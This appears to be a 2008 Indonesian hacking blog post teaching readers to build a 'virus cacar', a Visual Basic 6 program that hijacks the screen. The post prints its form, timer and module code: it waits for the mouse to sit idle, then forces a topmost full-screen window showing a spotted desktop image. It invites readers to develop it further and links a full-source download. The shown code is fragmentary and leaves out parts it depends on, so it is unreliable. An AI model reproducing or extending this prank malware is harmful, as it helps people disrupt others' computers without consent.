Darkside of Oktavianus

Making virus and all of them as our friends

VIRUS CACAR DI KOMPUTER

Posted by oktavianus pada Juni 26, 2008

Hmmm………
Masihkah anda ingin membuat virus dengan mengotak-atik tampilan desktop.?
Yah seperti artikel-artikel yang sebelumnya aku ingin membagikan ilmu mengenai script membuat virus dengan tampilan yang membuat desktop menjadi bintik-bintik.

Virus ini aku beri nama virus cacar.. hmm kenapa cacar yah.? Ya karena bintik-bintik yang sangat banyak yang terjadi pada desktop. Masak mau dikasih nama virus jerawat.? Ato malah virus kutil.? Wakakakakakakakak…………………….
Lihat gambar dibawah ini.

http://h1.ripway.com/nonickname/virus-cacar-di-komputer.JPG

Ya sudah tanpa banyak basa-basi mari kita mulai pembuatan virus cacar.
Virus ini masih dibuat dengan menggunakan Visual Basic 6
Terdiri atas :
-form
-timer
-module
Agar lebih mudah akan saya tuliskan scriptnya
Berikut adalah script virus cacar.
==============script pada form dan timer=========================
Private Sub Timer1_Timer()

Call GetCursorPos(m)

If m.x = x And m.y = y Then
sum = sum + 25
Else
x = m.x
y = m.y
End If

If sum = 2000 Then
sum = 0
BitBlt Form1.hDC, 0, 0, Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY, ha, 0, 0, vbSrcCopy
Call SetWindowPos(Form1.hwnd, HWND_TOPMOST, 0, 0, Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY, SWP_SHOWWINDOW)
ready = True
End If

End Sub
==========================END SCRIPT==============================
Berikutnya adalah pada bagian module…
Module terdiri atas script seperti berikut.

==========SCRIPT MODULE======================================
Public Declare Function BitBlt Lib “gdi32” (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Public Declare Function GetDC Lib “user32” (ByVal hwnd As Long) As Long
Public Declare Function GetDesktopWindow Lib “user32” () As Long
Public Declare Function GetCursorPos Lib “user32” (lpPoint As POINTAPI) As Long
Public Declare Function SystemParametersInfo Lib “user32” Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Public Declare Function SetWindowPos Lib “user32” (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Public Type POINTAPI
x As Long
y As Long
End Type

Public Const HWND_TOPMOST = -1
Public Const SWP_SHOWWINDOW = &H40

Public m As POINTAPI
========================End Script=====================

Bagi seorang VM mungkin script diatas terlalu mudah untuk di rubah-rubah, untuk itu silahkan kembangkan sendiri sesuai dengan kemampuan.
Hmmm… bagi yang ingin mendownload secara lengkap source code diatas dapat di download dengan mudah di bawah ini.

Download source virus cacar secara lengkap

download

Bagi yang ingin konfirmasi seputar virus dapat mengunjungi

hakz.net46.net

http://friendster.com/qillua

bagi yang memiliki pengetahuan lain seputar virus sebaiknya kita saling berbagi…

By: HaKz
============================================================
Penulis tidak bertanggung jawab sedikitpun atas penyalahgunaan yang dilakukan oleh siapapun…
Sertakan penulis asli apabila ingin mengcopy artikel ini…. HaKz

3 Tanggapan to “VIRUS CACAR DI KOMPUTER”

  1. vic said

    Paswordnya???????

  2. richi said

    thnks

  3. richi said

    thnks gan

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

 
%d blogger menyukai ini: